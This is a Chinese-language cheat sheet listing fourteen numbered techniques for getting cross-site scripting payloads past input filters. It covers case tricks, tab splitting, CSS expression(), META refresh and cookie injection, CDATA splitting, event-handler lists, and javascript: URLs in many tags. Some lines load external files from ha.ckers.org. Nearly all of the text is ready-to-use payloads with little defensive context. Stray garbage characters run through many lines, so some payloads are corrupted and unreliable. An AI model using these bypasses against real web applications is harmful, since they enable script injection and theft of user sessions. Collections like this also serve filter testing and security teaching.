1. 改变字符大小写
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<sCript>alert(‘d’)</scRipT>. c( i# @" r$ ^+ ^+ e. M5 Z+ m
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2. 利用多加一些其它字符来规避Regular Expression的检查7 w3 z2 \8 D" u2 k
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<<script>alert(‘c’)//<</script>
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( j/ b% k0 K; [0 C ^! X; [$ b6 ~$ o <SCRIPT a=">" SRC="t.js"></SCRIPT>
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<SCRIPT =">" SRC="t.js"></SCRIPT>6 H, H7 _3 r9 F9 z9 L
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<SCRIPT a=">" ” SRC="t.js"></SCRIPT>
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<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
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<SCRIPT a=`>` SRC="t.js"></SCRIPT>
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<SCRIPT a=">’>" SRC="t.js"></SCRIPT>
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/ \( i9 X4 G- Q; ^/ [6 n& i! y3. 以其它扩展名取代.js0 k# l) W& l, \6 x1 r
2 R6 s1 T& [6 o% U, E3 p; E9 n0 L <script src="bad.jpg"></script>5 r2 p) y" q- j# F9 B
i. q, {3 G0 I" }' h/ I, J4. 将Javascript写在CSS档里9 U' i. ^, k7 ]- o
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<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">8 l! h: a: {) B+ u! S1 u: D3 @
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example:6 b7 P' h: {4 `9 e; U6 b- k
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background-image: url(‘javascript:alert("XSS");’)
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}
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5. 在script的tag里加入一些其它字符
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<SCRIPT/SRC="t.js"></SCRIPT>
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% \( s- ]+ [0 C0 x" \4 d0 T i <SCRIPT/anyword SRC="t.js"></SCRIPT>' y7 v5 u- n, }* E# Y# ]
' u0 O0 J4 P) v% K6. 使用tab或是new line来规避
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5 F% L% X, j( B7 N' e2 F+ f( Q2 P <img src="jav ascr ipt:alert(‘XSS3′)">
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<img src="jav ascr ipt:alert(‘XSS3′)">4 A* L+ I" ^. y$ G& U5 Y
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<IMG SRC="jav ascript:alert(‘XSS’);">3 t* y' U: X1 I6 v
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-> tag
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+ w$ D( ^6 ^ Y5 g5 J! J -> new line
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9 F$ o2 _# p' z7. 使用"\"来规避7 v* `' T0 [. M3 a0 w
) l1 t- K% y6 j$ u9 X: D <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>* L8 Q9 _% J( d- ~
+ m2 }: L) o4 W; u2 v7 ] <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>/ r9 f* Y+ m3 N G! z3 D
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<IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
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<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">, u# ]; h8 }: V I; c: p
/ A6 s. c6 S$ k0 o <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>' q4 a5 }9 b" x7 n8 e6 X; G
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8. 使用Hex encode来规避(也可能会把";"拿掉)) w. ]- S, i3 o/ |7 |
" j0 X6 m% W" D. ^; P" n& E' C <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">" w3 M/ h* A1 y" C" \
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原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
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<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
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原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
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6 ]7 ]4 c4 _% \0 ?. o$ U9. script in HTML tag# R6 \+ ~/ G, ?) _7 H# S6 W! k& k
$ e+ ?6 `; p5 }- x <body onload=」alert(‘onload’)」>
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9 Q* c1 P$ N L; ^% G* C onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload, F8 | M& ]7 J d$ U
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10. 在swf里含有xss的code% w @: a' ^; m- Q2 |
9 Q( @$ e6 ^+ H% J9 | <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
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8 y4 B$ O6 _3 U( n11. 利用CDATA将xss的code拆开,再组合起来。
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, w" j* ~2 I' n$ p) s o) H <XML ID=I><X><C>2 E! F- {2 P8 h
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<![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>- p! [2 }* r2 a3 f: H T- q) q4 t
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</C></X>3 h8 J4 T; ?, u
7 @' t* H+ v) {) O </xml>- w! g' _2 j8 b
" u; A8 d, d1 {6 ~, H$ h <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
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/ J6 s0 v$ V- c* Z) y: S, n' B <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
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- N+ Q% n& i* N <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>5 P! a8 \9 q( O
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12. 利用HTML+TIME。
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<HTML><BODY>. b8 ^5 N6 C F. Q
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<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
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1 q) |# G& D$ m- B$ e4 e6 A <?import namespace="t" implementation="#default#time2">
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<t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
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</BODY></HTML>$ j9 ?# K% |% C' D. L- @
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13. 透过META写入Cookie。
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<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
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1 u5 Q ^ z8 P% h3 M8 A) X+ _* Z {6 t14. javascript in src , href , url
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0 U) X; }4 U% V0 N6 Z6 } <IFRAME SRC=javascript:alert(’13′)></IFRAME>
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' ~6 w; c! G4 p, H1 u) O <img src="javascript:alert(‘XSS3′)">
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! c( s& v* i: l- d<IMG DYNSRC="javascript:alert(‘XSS20′)">. i1 P. e" K# p( ?
" m) E& I7 Y+ B5 O$ Q M <IMG LOWSRC="javascript:alert(‘XSS21′)">
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# _8 V, e. F; m: M1 s5 \ <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">/ J& l% A' P! g- I I' @
^. O& R4 K( c9 } <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>5 j, c5 O3 n! \1 o; W$ D
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<TABLE BACKGROUND="javascript:alert(‘XSS29′)">" ~/ Q3 T" M3 u/ j! e
0 ~4 ^3 p' A6 j- n <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
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<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}# q$ ]' Y- ~- o5 }7 G6 v
) e5 s' H9 y. f. r& e </STYLE><A CLASS=XSS></A>
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9 d& Y$ B! k7 A' j) s$ G" i <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
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